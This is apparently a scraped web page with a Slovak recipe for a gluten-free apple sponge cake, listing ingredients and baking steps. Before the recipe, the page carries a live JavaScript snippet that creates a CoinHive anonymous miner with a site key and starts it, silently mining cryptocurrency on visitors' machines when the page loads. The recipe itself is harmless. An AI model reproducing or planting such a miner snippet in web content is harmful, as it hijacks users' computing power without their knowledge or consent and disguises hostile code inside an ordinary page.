

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 7 vajčiek, 7 PL studenej vody, 7 PL kryštálového cukru, 2 PL práškového cukru, 7 PL bezlepkovej múky, 2 PL kukuričného Solamylu, 2 PL oleja (môže byť aj olivový), ¼ prášku do pečiva, 1 kg jablák, kokosová múčka, cukor podľa chuti, postrúhané orechy, škoricu.

Postup: Bielka vyšľaháme na tuhý sneh, pridáme práškový cukor a ešte prešľaháme. V osobitnej miske vymiešame žltka s kryštálovým cukrom a postupne pridávame vodu. Zmiešame múku, kukuričný škrob s práškom do pečiva – preosejeme a primiešame do žltkov. Vylejeme na plech vymastený maslom a vysypaný bezlepkovou múkou. Postrúhané jablká zmiešame s cukrom, orechmi a škoricou a navrstvíme na cesto na plechu, posypeme kokosovou múčkou (môžeme pridať aj sezamové semienka). Pečieme ako piškótové cesto.